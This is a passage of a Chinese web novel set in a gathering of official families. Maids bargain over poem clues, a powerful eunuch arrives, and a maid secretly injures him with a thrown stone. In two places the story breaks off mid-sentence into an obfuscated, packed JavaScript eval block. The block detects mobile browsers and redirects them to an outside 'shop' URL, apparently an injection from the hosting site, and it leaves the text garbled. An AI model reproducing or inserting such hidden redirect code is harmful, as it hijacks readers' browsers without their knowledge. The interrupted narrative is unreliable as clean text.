玉珰恭敬地半蹲下身子，理着坐在亭边的高雅英鬓上一朵通草花，借机凑近了道： “大小姐不要动气，严家小姐就是这样的脾性，咱们三小姐一会儿要有不合她的意，她也会刻薄两句。” “我何必恼她。”高雅英动也不动，盯着远处送竹筒的吴家丫鬟和鹿啄，“要恼也该恼三姐儿，非要来，来了就要给我和母亲丢脸，什么做派。” 丫头不便评价小姐，玉珰只能岔开话题： “二小姐的钻营不在咱们平交的官家里，这才多番拒您，要是她来，您也不至于没个说话的。” 高容英跟高雅英交好，但她跟自己的亲弟一个性子，不爱雅集，也不爱诗会，或者说，不爱青州的雅集诗会。 远处来送签筒的丫鬟见有小姐看她，加紧了脚步，跑入亭中，定了定，高声道： “筹令制好了，请小姐们入席。” 闻言，吴小姐堆笑张罗，将亭子里和外头赏花的都引到亭外的席面上头，众人依家里的品级落座，高雅英在上首，但跟高汐英之间隔开了一个严娅姹。 女席这边的丫鬟比男席要多出不少，高雅英的三个贴身女使都来了，银钿和花络昨日才见过鹿啄，有几分亲近，更兼有想让她给 高雅英透些男席那边消息的想法，就招手让鹿啄站到高雅英身后。 高汐英的丫鬟拾翠、点虹跟高云英的丫鬟交好，见到鹿啄，犹豫一瞬，俯身对高汐英耳语： “三小姐，过来这个好像是正哥儿院里的丫头，从男席来，要不把她叫过来？” “怎么叫，”高汐英面上仍是微笑，声音从唇角挤出来，“那是叫吗？那叫抢。” 这头银钿拢住了嘴，悄声问鹿啄： “三少爷作的是哪一个？” “他没来。” 银钿一愣，疑道： “那你跟谁来的？” 席面上吴小姐张罗完了，拿着签筒使劲儿摇，看签已经打乱了，就伸到高雅英面前，银钿留意到小姐们都望过来，也不敢再跟鹿 啄咬耳朵，转头之际，看见鹿啄伸出两根手指，比了个“二”。 高克行？？？ 银钿几乎没控制住自己疑惑的表情，但她很快镇定下来，跟玉珰对视一眼。她们从小伺候高雅英，素有默契，玉珰点了点头，凑 近了高雅英，在她背后写了个“行”字。 自己弟弟的诗，高雅英自信自己没有看不出的道理，便拿眼睛瞧着，有意将与高克行风格近似的都排除出去。 她的目的是殷封的诗，这是母亲交待好的，要跟殷封有些“交流”。 但排除了一个高克行，还有十数道签，高雅英抿了抿唇，忽而笑着将签筒转了个方向： “妹妹来者是客，不若妹妹先抽？” 严娅姹斜眼看她，没接签筒，随手抽走了一支，诵道： “独爱琉璃三万顷，云影烟波共一涟。衣水色者，尽饮。” 这是化了辛幼安《贺新郎·合前韵》中赞西湖的一句：为爱琉璃三万顷，将“为”字改为了“独”字，既无诗才，情也直白，不合格 律，隐隐还有些上不得台面，严娅姹不屑猜是谁做的，直接饮了一杯，现场着水色衣裙的小姐们笑着陪同，不乏一两个红了脸。 吴家的丫鬟们在席上，她们一一记下了公子们作的签，如有人猜对，丫鬟会回去送酒。但记了这首诗的丫鬟看抽签的小姐猜都不 猜，也替那位少爷知羞，请了签收进作废的签筒。余下还有十二支签，高雅英又谦道： “席间我居长，不好各位妹妹们总让我挑着便宜，哪位妹妹还想先抽？” 先抽后抽的次序，无非是先喝后喝，高雅英的主意是只要其它人被猜出去，越剩到最后越容易找出殷封的签，加之她又知道哪句 大概是高克行所作，可以刻意引别人抽走他的签，既留下了殷封的签，又防止别人先抽到殷封的。 不过毕竟有十数支，要试太多次，殷封极容易被人先抽走，所以一旦她发觉谁手上的签像殷封所作，就会再引那人猜是殷封的 签，反正猜错了不是她罚酒，猜对了，可叫丫鬟去前头提——是高家大小姐猜出了您的签。 别人没有高雅英这样的算计，并不会想先看签筒内的天地，但还是有人抬了抬手。 “蒙高大小姐礼让，我就不推了。” 说话的人脸有些红，但她未着水色衣裙，没有喝酒，旁边有一人起哄： “万家嫂嫂是想抽万哥哥的签吧！” 高雅英心中一哂，看来这是万梓阙那个刚过门不久的新妇，姓邓的姑娘，她父亲官拜内阁，但只是阁员。 邓氏轻拍了一下笑她那小姐的肩头，才伸手进签筒挑挑拣拣，片刻后，取出一支，上书： 诗：我欲卜菟裘，餐餐对此席。令：席上未用饭者，共饮半杯。 高汐英“噗嗤”一声笑了出来。 “万公子原来如此好玩笑。” 她话刚出口，见邓氏脸色不好，又补了一句： “万家嫂嫂可别生我的气，我只是真心称赞。” 既然说是真心，邓氏也不能为一点小事跟高汐英纠缠，她把签递给周府丫鬟，让丫鬟验明作诗之人，丫鬟接了签，摇摇头。 “回邓娘子的话，万公子还未入席，这里头原就没有他作的筹令。” “还没入席？” 邓娘子先是一惊，但又想起自己把别人错认成夫君，平白在女眷里给了夫君一个没脸，只能赧然道： “我们一道出门，他怎么还未入席，劳烦姐姐得空再去替我看看吧。” 丫鬟称是，一边的高汐英突然捧起面前的茶碗，呷了一口杯中龙井，道： “哦——我看姐姐们猜来猜去的，才知道原来乐趣都在这上头，我真是傻，只顾着斟酌诗句跟钻研学问了。” 这话头委实不好接，只有几个小姐笑了笑算是捧场，上首的高雅英待她话毕，即刻将签筒转了过来，对她道： “既如此，三姐儿抽支好的来，也让咱们都品品。” 高汐英动作顿住。她也是不想在这个时候抽的，只是她以为高雅英要抽严家的签，想在前头截胡，但明显严昆冈的诗还没出来， 故而她神思飞动，手一抖，茶撒了半盏，她道： “哎哟，姐姐莫要突然这样的吓人，我胆子小，茶杯都翻了。” 方才递签筒都是缓着递，或者由想抽的人自己起来抽，高雅英猛然转过来，说是吓着她了也勉强说得通，但席上心知肚明她们姐 妹不对付，这可能只是个找茬的说辞，就都避着不做和事老，以免搅进去。 静了片刻，高雅英始终不给台阶，高汐英也不穷追，抬手叫身后的拾翠： “拾翠，我这比甲污了，你去帮我找件新的。” 说罢，她又起身，向席面上福身道： “各位姐姐，妹妹的衣裳污了，再坐着恐有不雅，换件衣裳速速就来。” 席上众人纷纷点头应是，只有高雅英哂笑一声，道： “那我们也先停了，等你回来。” 这就对了。 高汐英面上闪过一瞬得逞的笑。 如果她离席别人还照样玩儿，万一把严昆冈抽走了怎么办。高汐英清楚高雅英要拿自己排除她不想要的签，必然不会在她离席后 让筹令再行下去，可这也是高汐英想要的，她有知道严昆冈的筹令是哪一个的法子。 离席时，高汐英错过点虹身侧，用眼神叫点虹去看鹿啄。 点虹马上会意，等小姐和拾翠走远了，悄悄凑到鹿啄身边，拉住她的衣摆，指了指流杯亭后头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030561|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 鹿啄是来探查高雅英的虚实，自然不想走，但点虹一个劲儿的扯她，都快把她别在腰里的刀扯出来了，鹿啄只能一回头，直问她： “要干嘛。” 点虹咬牙切齿： “有点事儿跟你说。” 鹿啄点头： “说。” 点虹急疯了： “这儿说不了！” 鹿啄又点头： “那别说了。” 虽说点虹的声音不算大，但鹿啄的声音可不小，高雅英余光扫到，立时明白了高汐英是什么意思，低头一思量，觉得这的确是万 无一失的法子，便给玉珰也使了个眼色。 三个大丫鬟同时动了，银钿搀住点虹，花络接了玉珰手里给高雅英打着的扇子，玉珰一手揽过鹿啄，在她耳边轻声道： “随我来，大小姐有东西赏你。” 玉珰跟点虹完全不同，要知道霞帔在高雅英那里的消息，就是通过她大丫头们谈话推测出的，与其在这里再盯上两盏茶，看高雅 英说些不痛不痒的，也许套丫头的话会更快，想到这鹿啄点点头，跟着玉珰去了一片花圃的背阴处。 两人站定，玉珰随手从怀里掏出一块帕子来，递给鹿啄： “这是上好的天香绢，花是我绣的，至少值六吊钱，你拿去。” 拿就拿。 鹿啄伸手接了，但玉珰没松手，两人一手执着帕子的一头，玉珰道： “你记着，小姐和少爷们的赏赐，都没有白受的，你拿了帕子，得告诉我，殷封少爷的签上写的是什么？” “谁？” “？” 玉珰一愣，她竟然不知道殷封是谁，难道二少爷并没跟她交代过，或是她记性很差？没时间细想，玉珰捡着重要的道： “他必是跟咱们家少爷同席，衣服肯定是箭袖，打扮英武，和别的少爷都不同。” 她手里帕子一轻，鹿啄那边已经撒开了手。 不是不想告诉她，鹿啄心中已经知道殷封是谁，可她背不出那句诗，只知道个大概，故而在回忆，但玉珰以为她对帕子不满，想 要更多，于是急切道： “这帕子你不喜欢？你想要什么？” 她当然想要朱砂霞帔的消息。 不过不能轻易开口，这么贵重的一件东西，赏给她或是让她看都是不能的，鹿啄穷极自己半生的交际手腕，憋出一句话： “我爱绣花。” 她爱绣花？玉珰摸不着头脑，这帕子上明明有绣花，还是她想要彩线、锦缎？可那些都不如这帕子值钱，玉珰只能漫天乱想，先 由绣花想到小钗，又由小钗想到绣房，终于在想到绣房的时候，记起她曾在绣房见过鹿啄。 除去针线锦缎，绣品衣料以外，也就只剩下绣样了，她觉得有些胸有成竹，道： “是了，我记得你曾经到绣房参选过，旁的东西都没有这块帕子值钱，但你要是真心爱绣，大小姐那儿倒是有一块儿花样子，是 原来府上最好的绣娘，苓娘作的，全天下没有第二件。” 只是可惜那花样子上的蝴蝶云肩谁也做不出，况且绣房已经照着做了副本，原本留着没用，不给这傻丫头，也是烧了的份。 想到这儿，玉珰见鹿啄突然怔住了，浑身紧绷，眼睛看着她，那眼神怎么说呢，并看不出高兴和期待，倒是有种 ——怨。 难道是在怨只给她一件花样子吗？ 玉珰连忙找补道： “虽说只是一块花样子，但你不知道苓娘的本事多大，她人过身了，这样的花样子真的再也寻不到了，你只要见到了一定知道， 我再送你些丝线，你慢慢磨练，对你绣工一定有进益，如何？” 她说完，就发现鹿啄眼中的那种怨已经消失无踪了，取而代之的是一直以来的平和淡然，她点了点头。玉珰心知事成，又答应 道： “好，回去我就把花样子放到小钗那儿，你自己去取。” 鹿啄又是点头，回她： “他的诗跟衣裳有关。” 这答案已很明白，指望一个曾经的粗使丫鬟把筹令完全背出来也不可能，玉珰又故作亲昵地拉拉鹿啄的手，再三承诺回去就把花 样子给小钗，才跑开了。 鹿啄站在原地，看着玉珰跑走的身影。 众里寻他千百度。 她不知该说些什么，也不知该喜还是该悲。 32. 雅集·一枚刺 鹿啄站了一会儿，等冰凉的手指又慢慢恢复温度，才打算回席上去。 然刚走出两步，高汐英身边的拾翠将她截住了。 这是高汐英的后手。在高雅英眼皮子下面请人有难度，如果点虹失败，拾翠会再去请，如果两人都失败，她会自己去请。 好在拾翠运气不错，意外来了个黄雀在后。 鹿啄已经明白这时候凡是找她，都是要问作诗的事，也不开口，只等着拾翠开价，虽说不可能再开出鹿苓的花样子这类的东西， 但高汐英毕竟也是殷碧的亲生女，说不定也能有些线索。 更何况一下子所有人都冲上来要给她送礼物，感觉还是挺好的。 “你是叫阿啄对吧？” 拾翠也是稳当的大丫鬟，跟玉珰的行事风格相似，都会先示好，她从怀中摸出一个手掌大小的绸子口袋，拉松了栓住口袋的丝 线，给鹿啄看里头的东西。 是一面雕双鲤戏藻的铜镜，用掺了水银的磨镜药磨过，光洁闪亮。 “我不为难你，玉珰问了什么你也不用告诉我，你只要把严家少爷的诗，再说给我一遍，这面掌镜就归你了。” 鹿啄摇摇头： “记不住。” “那你刚刚跟玉珰说了什么？” “他的诗跟衣裳有关。” 这回答倒是很干脆，拾翠心中一盘算： 如果她要诓骗自己，那一开始胡诌就行了，不会说什么记不住这样的话，看来这是实话，毕竟这样的铜镜丫鬟们是绝对触及不到 的，且磨镜一次至少要七百文，这镜子又是磨好的，鹿啄一定很动心，所以才这么干脆。 她把铜镜递给鹿啄，见鹿啄接了，才道： “不要告诉玉珰她们，如果你说了，我就跟她们说你也收了我们的东西，到时候你在大小姐那里会如何，不用我提点你吧。” 这对鹿啄来说根本是无所谓的狗屁事，她敷衍地答应了。 拾翠回身去迎高汐英，鹿啄又在原地站了一会儿，这地上会长出送礼的，守株待兔这典故看来并不是编故事，她默默地等待着。 片刻后，严娅姹亲自现身了。 但她已经抽过签，鹿啄不知道她是来问谁的。 不同于两个丫鬟的审慎和防范，严娅姹很自然地走到鹿啄边上，从头上随手拔下一根作配的青玉竹节簪，送到鹿啄眼前，鹿啄很 自然接了，问她： “你要问谁？” 严娅姹笑了笑，她知道高家两位小姐私下肯定会有这些小交易，但她不是来问这个的。 “我谁也不问，只要你帮我带一句话到男席，这簪子不值什么，你是高家少爷的丫头，你就当是见面礼，戴头发上，到时候你跟 我哥哥传话，他看见了簪子就知道话一定是我吩咐的。” 没有跟她客气的理由。 鹿啄直接把簪子插在髻里，等她的下文。 “就跟我哥哥说，高家无意严家，有意殷家。” 这话好记，鹿啄点点头，严娅姹又补充： “我哥哥跟你少爷同席，叫严昆冈，你叫他名字就行。另外，这事儿不能当着你少爷的面说，行吗？” 其实若要传话，最不该选的人就是鹿啄，但严娅姹故意为之，她就是要看看高家的丫鬟会不会把事情告诉家里，他们高家为了给 严家赔礼，又有多大的诚意。 但她要所托非人了。 鹿啄哪里知道殷碧关于殷家严家的那一套算计，又怎么明白被严家得知他们不入高家小姐的眼有什么利害关系，她一向是受人之 托，忠人之事。 “行。” 严娅姹走了，鹿啄又等了一会儿，再没有主动撞死的兔子送上门来，她就也回了席面上。 此时一个小姐拿着签正念： “看花俱是倾城色，顾我原多掷果人。今日猜筹有误者，共饮一杯。” 一场筹令下来，猜错者不少，都饮了。 高雅英看了看签筒，还剩最后两支，只有她跟高汐英还没抽过。 这句看花俱是倾城色，约有八成就是高克行所作，只因大概解意下来，无非是说：我看在座各位都是倾城倾国、才貌双绝，但肯 稍稍顾惜我的只是为了我的容貌，且掷果这个典故化用自潘安，除了她的二弟，还有谁会自比潘安？ 那抽签的小姐也是常来雅集的，跟高雅英有了一样的想法，就问丫鬟： “这句是高家二公子所作？” 出乎寻常，那丫鬟摇了摇头： “回小姐的话，并非高二少爷所作。” 居然不是。 高雅英又看了看签筒，问丫鬟： “高二少爷的签可是已经被抽过了？” 这么问是不合规矩的，但高雅英的话丫鬟不敢不答，也不敢驳，只能道： “还没有。” 这就明白了，签筒内还剩两支签，空荡荡的，一眼就能看到签上的字，一支写着： 临川已觉花月近，照影何惭璧玉身。令：名中带水木偏旁者，共饮。 另一支是： 十年血浸青衫重，犹立风檐问九秋。令：自觉壮志未酬者，满饮三杯。 两句的意境都不错，也具风雅，只是一句是自信从容，在镜花水月之中尚在自顾自身，是一种高洁自许的意象，而另一句是久沐 凄风苦雨，但仍问天道，是一种悲愤之下仍有抱负的风骨。 十成十第一句是高克行写的。 况且按照玉珰刚刚送来的提示，这个青衫虽然不与衣裳完全相关，更多是指低位的书生文士，但以丫鬟的水准，这么理解也很 对。 高雅英伸手就要去抽第二支签，但还没碰到，就被高汐英拉住了，后者甜甜笑道： “姐姐让了一圈了，竟然不让我这个亲妹吗？” 她觉得，第二句定然是严昆冈所作。 还有比大理寺卿之子更有才学，更想施展抱负的吗？况且浸血这一句，也合着大理寺的职能。 高雅英毫不退让： “妹妹名字里有水木偏旁，大概不想抽这一支吧。”她指了指第一支签，“姐姐替你抽另一支，最后一人轮空，如何？” “姐姐怎知我就不是壮志难酬，也不想抽那一支呢？”高汐英仍笑，“还是姐姐让我自己选，旁的我什么都让给姐姐，好不好？” 这是姐妹两个顶上了，席间女眷心知肚明，她们二人该是猜到了这两支签都是谁作的，都想抽，这种情况下，严娅姹觉得还是苦 一苦男人吧，于是她道： “既然如此，你们二位同抽如何？如果都抽到了一支，就一块儿猜，猜对了让那位公子喝两杯，怎么样？” 没想到高雅英很痛快地应了，道： “如此甚好，那我就依妹妹，让一让你，你先猜。” 高汐英只会猜严昆冈，这是她算好了的，高雅英一直在家里散播她对严家有意的讯息，为着就是这种时刻，能越过高汐英。 说起来，母亲的确不疼妹妹，早早谋划了殷家的事，竟然一点都没跟她说。 思及此处，高雅英故意摆出一副“量你也猜不到”的表情，激高汐英先猜。 高汐英已觉察事态不对，但另一签怎么看，确实都是二哥作的，她只能硬着头皮，问丫鬟： “大概是，严家大公子所作？” 丫鬟否定了。 高雅英志在必得： “那么就是，殷家大公子所作。” 那丫鬟显然有些不好意思，又摇了摇头。 高雅英心下骇然，如遭雷击，一个丫鬟，竟然敢骗她么？ 高汐英也是皱眉，两人齐齐回头去看鹿啄，却见鹿啄神色如常。 一个念头同时钻入两人的脑海。 写衣裳的诗，原来是最开始的那一句：独爱琉璃三万顷，云影烟波共一涟。答案就在题眼里 ——衣水色者，尽饮。 高雅英难以置信地回过头，去看她们抽的那支签。 十年血浸青衫重，犹立风檐问九秋。 “你怎么会想到这么作呢？” 男席上，高克行拿起茶杯，抿了一口，从鹿啄手中接过还回来的签，答严昆冈： “不是说了不想喝。” “你是奸佞，不想喝酒就故意学文衷的风骨骗人，太不厚道。” 文衷是高克肃的字，严昆冈大概觉得弟弟模仿哥哥很容易，觉得高克行假装高克肃在席而逃避罚酒，十分阴险。但后者另有话答 他，高克行放下茶杯，笑道： “没学，他作的诗像个埋在土里八百年的老首辅诈尸还魂作的，我如何学？” 但让他这么一骗，最后也没人猜到殷封和严昆冈作的诗，那句被两位高小姐弃如敝履的“临川已觉花月近”，才是严昆冈的诗， 至于殷封，居然没有人想到他勋贵军候家的出身，现场作诗自然应该不怎么工整。 高克行看着鹿啄头上的簪子，笑问她： “你做了什么好事，居然有姑娘赏你？” 鹿啄摇摇头： “没做，准备做。” 严昆冈顺着话头去瞧鹿啄，也看到了簪子，他认出是妹妹的，便问： “可是我妹妹有话要你跟我说？” 鹿啄点头。 “那说吧，我洗耳恭听。” 鹿啄又摇头，指着高克行： “不许当着他的面说。” 这倒奇了，殷封指指自己的鼻子，问： “那我呢？” “没提你。” 严、殷二人相视一笑，严昆冈拍了拍高克行，也不避讳： “公子的大作惊才绝艳，我妹妹兴许瞧上你了。” “瞧上她就猜出来了。”高克行面色不改，“多半是要骂我，怕我听了跟你打起来。阿啄，不许给她传。” 鹿啄完全可以不动，由着公子们相争，但她心里的念头是，传也可以，不传也行，但毕竟已经收了簪子，也不能惹高克行不高 兴，如果不是高克行，她没机会拿回姐姐两样遗物，索性把簪子拔了，递给严昆冈。 “还你。” 严昆冈没见过这么直眉楞眼的人，送出去的东西，没有还的道理，只能跟高克行讨饶： “你不让说我不听就是了，送了又还，我妹妹的脸往哪儿搁，你让这姐姐收了吧，我妹妹的话我自己去问。” 高克行挑眉： “那我就当见面礼了，下回让你妹妹大方点。” 严、殷二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030562|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一阵苦笑，三人随意闲谈几句，忽听石桥对面人声鼎沸，方轩内众人噤声，高克行忽然幽幽对严昆冈道： “你要的排场来了。” 石桥对岸，四个身着栗色纻丝贴里、腰系绦带的彪形大汉最先现于桥头，他们正是在正门给叶孤萍抬轿的人，这四个神态面貌已 是非凡，步行上桥后，四人分立两侧，须臾，又有两个身着青缎曳撒，面白无须的俏丽少年垂首走了上来。 这两个在正门没看到，应该是隐在人群里了。 其中一个少年朝身后探出小臂，不顾有谁看着，高声道： “请爷爷上桥。” 话音方落，拱形石阶后头先出来了一只手，那手保养得极好，细白柔嫩，还留着一小截指甲，这手搭上少年的小臂，随着少年躬 身退步，渐渐让出一个人来。 ——山东镇守太监叶孤萍。 内监权力更迭极快，少有善终，地方上来的镇守太监年纪一年小似一年，从天禧初年大多是五十来岁的权宦，到如今只多见三十 岁上，堪堪到四十的盛年鹰犬。 叶孤萍的年纪瞧不大出来，太监不蓄须，又保养得宜，面上瞧，他至多三十出头，可他动辄行路就要人搀扶的做派，却又给自己 添足了年纪。 自打他上桥，直至他进了方轩，现场都无一人言语。 桥上陆陆续续跟来一众随行，有在正门出现过的，还有一个意想不到的。 高克行竟然在人群中看见了万梓阙。 他低眉垂目，好似想撇清跟叶孤萍的干系，又好像已经被叶孤萍死死拿住，跟那两个小监毫无区别。 此时，方轩内的叶孤萍缓缓抬头，轻柔而优雅地将方轩内的人扫了一遍，接着他牵动嘴角，用太监们特有的那种，极具媚态的笑 容，朝坐在上首的人群一一笑过，不高不低又舒缓细腻的声音从他嘴里流出来： “看来，杂家扰了各位的雅兴了。” 人群中高克行促狭一笑，手肘轻碰严昆冈，低声道： “够不够排场？” 严昆冈当然说不出话来，他怎么也想不到镇守太监居然会亲临此地；更想不出这位动动手指就能碾死一个同知的权宦为什么上赶 着来小官的雅集，他纵然不把这些下贱的奴婢真正当人，可摆在他面前的是情势。 如同在场不少人一样，严昆冈在桌下捏紧了拳头。 也许是想给叶孤萍圆场，万梓阙突然从叶孤萍身后众人里面闪出，弓着身子上前，先冲叶孤萍露了一个仿若受宠若惊般的笑容，揖礼道： “叶公此言，真是折煞我等。” 并不被折煞的人群中有一两声轻嗤传来，万梓阙充耳不闻，继续道： “古有‘蔡邕倒屣迎王粲’，今有叶公纡尊降贵，亲临我这末流文会，正是效仿先贤古风！我等晚辈后学，能得聆训诲，已是三生 有幸。” 倒抽冷气的声音频频响起，众人无法理解，万梓阙是当朝二品之子，论身份尊贵，只在殷封之下，竟突然变成了另外一个人一 样。 叶孤萍对万梓阙极尽恭维的说辞并没什么特别的反应，他笑了笑，两个小监为他抬来铺了软垫的交椅，叶孤萍顺势坐下，冲小太监扬了下手。 不知他吩咐了什么，小太监得令，匆匆走过石桥，片刻后，又领着几个人回来，其中有四人合抬着一口盛着活水的青花大缸，站 在侧近的人看得清，有一尾近尺长的松江鲈鱼在缸中游弋。另有一随从端上砧板、快刀与盛有冰块的玉盘。整个过程安静而迅 捷，叫在场之人移不开眼睛。 “不知各位喜不喜欢食鱼脍。”叶孤萍覆掌微笑，“杂家这儿有一尾松江鲈鱼，可当众片了，供才俊们享用，以示杂家失礼之 过。” 他话说得谦卑，用意却歹毒。 松江鲈鱼乃江南名产，青州距江南千里之遥，这鲈鱼在缸中游弋，仍然鲜活肥美，只能是走了供品专用的快船水道，这便是显贵的极致，犹如提着清流子弟们的耳朵说： 看吧，纵然做了天大的官，但你们谁的爹谁的爷爷，能让你们在青州，吃上江南的活鱼脍。 这还不完，又及松江鲈鱼自古就是文人们极为推崇的珍馐雅馔，有“莼鲈之思”的典故，这位权珰要当众将文人所崇尚的象征生剖活解，又似是借典故暗喻他们所追求的至高至雅不过惺惺作态。 严昆冈第一个忍耐不得，他手摁在自己的膝盖上，几乎要将自己的膝盖捏碎，脸上一阵红一阵白，几欲拂袖而去，又觉得不狠狠折辱这阉狗一番，实难出心中的一口恶气。 高克行坐在一旁，将他脸色看在眼里，笑了笑，玩笑一样道： “食不厌精，脍不厌细。吃得还挺风雅。” 他声音不低，在场众人都听见了，连叶孤萍也投来一个目光，随即冲高克行柔媚一笑： “片，片好了先给这位公子品尝。” 高克行还以笑容，直到叶孤萍不再看他，才不动声色地回身去找鹿啄，他原打算让鹿啄站得近些，有风吹草动能及时发觉，可一 寻之下才发现，鹿啄不知什么时候站到那持刀的随从身后去了。 一双眼睛，正盯着刀下肥鱼腮盖上的一枚刺。 33. 雅集·这片天的规矩 雪刃翻飞，一息前还活蹦乱跳的松江肥鲈受了凌迟，薄如蝉翼的嫩肉自刀下飞出，晶莹油润，佐以些许备好的菰菜，一道金齑玉鲙既成，却无人上前品味。 鹿啄盯着案上角落里血肉模糊堆着的边角料，问厨子： “鱼刺能给我吗？” 方才她就看好了，这鱼刺大小趁手，坚硬而锋锐，很适合做暗器。 她并不知道什么是太监，也不知道向权宦讨东西是什么意义，她只知道有些精确的打穴功夫，用刺比飞蝗石更合适，绣花针太 细，况且从她用野猪牙做刀柄的偏好能看出，她素喜这一类的原料。 叶孤萍身旁的小监闻言，扯着嗓子喊： “大胆！放肆！” 说罢一个巴掌朝鹿啄脸上抡来，鹿啄没躲，伸手挡开了。 那小监不可置信地看着自己的手腕，好像让刀背弹开一样，震得生疼。 叶孤萍并不知道这里头的事，他带的少年都羸弱，让丫鬟挡住也合情理，他只当再卑微的丫鬟也是文人的丫鬟，有根骨刚性，不 愿受辱。 可那不意味他的人就要受辱。 叶孤萍眯起眼睛，盯着鹿啄： “谁家的丫头？” 鹿啄丝毫不退，回身一指高克行。 无妄之灾从天而降，高克行先是怔住，随即苦笑，起来给叶孤萍赔礼。 “叶镇守莫怪，我府上清贫，买不起伶俐的，这个卖的便宜，带来充充面子，不想开罪了贵人，并非有意。” 他的话落在旁人耳朵里当然是狗屁胡诌，但叶孤萍不知他底细，半信半疑，犹豫片刻，叫左右奉了一双筷子过来，他拿筷子搛起 两片鱼肉，伸向高克行，道： “小丫头不懂事，杂家怎会计较。这位公子，方才我说要你先品尝鱼脍，可不打算食言。” 说话间，他把筷子向前送了送。 狗若咬了人，没有去咬狗的道理，只有打主人的脸。 全场所有人的目光几乎都看着高克行，这一筷子若是接了，高家苦心经营多年的声誉就要毁于一旦，高克行更是跳进黄河都洗不 清。 况且接不接鱼肉，与接不接帖子有本质不同，后者尚在试探，前者已经架在那儿了，高克行只有接与不接两个选择。 好在，鹿啄也看着他。 高克行上前，佯做伸手要接筷子，可就在碰到筷子前的一瞬间，只听他忽道： “不知叶镇守喜不喜欢打水漂？” 话音刚落，叶孤萍的腕子突然一滞，接着向外翻转，连鱼肉带筷子都让他翻落在地上，几乎是同时，他惊声呼痛，左手攥住右 手，半晌说不出话来。 高克行看了鹿啄一眼，后者什么都没发生一样，仍盯着鱼刺，只是单有一只手，收紧了放飞蝗石的口袋。 这个时候提打水漂很突兀，鹿啄在听到这句话时，心中闪过长街上高克行拒帖时的样子。 当时鹿啄见他姿态语气与往日并不相同，便猜测他与自己一样，要在一些人面前装出另外一个人的样子。鹿啄只会在仇家和敌手 面前做另外一个人，高克行大抵也如此。而今天在长街上的那个人与让高克行吃鱼肉的人有几分相似。 所以这大概也是他的仇家和敌手，他提打水漂，就是叫鹿啄帮他。 一个是还了她枕顶的少爷，另一个是不管手下随意打人的权贵。 没有不帮的道理。 方轩里都是文官，且注意力都在高克行身上，没人注意到鹿啄出手，就连殷封和叶孤萍的侍从也都因角度或眼力的问题忽略了打 出来的飞蝗石。 只有一个人，从头至尾看见了。 人群中缓缓走出一位年轻人，他朝叶孤萍走去，却没人拦他，侍从和小监们反而还纷纷让路。 此人长相很不惹眼，但个头极高，小脸，凤眼，画远山眉，好像十分和蔼可亲，过来时还给让路的侍从们道谢。 走到叶孤萍身边，他一伸手，将叶孤萍的手腕子扯了过来，瞧了瞧，道： “叶镇守冬日里给祖宗们洗衣服，落了一身旧疾，发作起来也不挑场合。” 说完，他转身对高克行作揖： “没吓着公子吧？” 高克行隐隐不安，皱起眉头，但嘴角仍上扬着，道： “不碍的，叶镇守无事便好。敢问足下是……” 他有些发觉到自己的不安来源于什么地方了，这笑眯眯的年轻人明明看见叶孤萍手腕上有道红痕，却硬说是旧疾，更吊诡的是， 叶孤萍完全不还嘴，也不敢插他的话。 那可是山东镇守太监，能让他不敢插话，这人得是个什么东西？ 年轻人露出些惊慌的样子，连忙道： “失礼了，竟忘了自报家门。我是衡王府上掌事孙公公麾下，陈阿猫。” 不对。 衡王是宗藩，受朝廷忌惮辖制，监管衡王就是镇守太监的职责之一，无实权又受牵制的藩王府上，一个掌事太监手下的小小伴 当，敢当众扯镇守太监的手腕子，是嫌皮紧吗？ 更何况陈阿猫一听就是个假名。 孙公公的伴当都是低位太监，由主子随意赐名，但高位太监为了甩脱奴婢的头衔，会给自己起一些相当文气的名字，如叶孤萍就 是一例。低位太监名叫陈阿猫，这原本对得上。 可刚刚此人做派，又明显不是孙公公伴当，可能背靠司礼监或别的什么，那就不会有陈阿猫这么一个名字。加之此人身量面容，不自称奴婢，也并不很像太监。 陈阿猫仍看着高克行，似乎在等高克行回礼，高克行一拱手： “都察院右副都御史高彦韬次子，高克行。” 这个名字，让陈阿猫想起了来这里的路上，发生的事。 不是说，是个其蠢如猪的纨绔吗？ 他笑了笑，不打算戳破，指着案上的鱼刺道： “既然高二少爷的人喜欢，不妨拿去吧，年轻女孩子，爱玩儿也是有的。” 高克行刻意以官场称呼道谢： “我替无知婢子谢过陈大人。” 既然女孩子想玩，就拿去，一句话脱了受宦官拉拢的嫌，又明确了受赏者只是个无知婢子，在场众人也替高家松了口气。 高克行退回严昆冈和殷封身侧，两人同时看他一眼，又不约而同别开头，只在桌下握了握他的手，似是庆幸躲过一劫。 还在原位上站着的陈阿猫一直目送高克行落了座，才移开视线，又去瞧叶孤萍的手腕。 叶孤萍声音极低，只有站得最近的陈阿猫和小监才能听见。 “奴婢不知礼数，刑爷恕罪。” “记着就得了。”陈阿猫以同样低的语调回他，话毕，他凤眼一挑，眼神刺向人群中的东道主，吴同知的儿子。 吴公子如遭雷击，立刻站直了，僵硬地道： “叶……叶镇守既然身子不适，府上备了供客人休息的雅阁，不……不知贵人们可愿移步。” “走。”叶孤萍抬起一只手，小监立刻上来搀他。 浩浩荡荡一群人，由吴公子领着，去了雅阁，经过园中屏风时，屏风里传来了一声低低的呼喊。 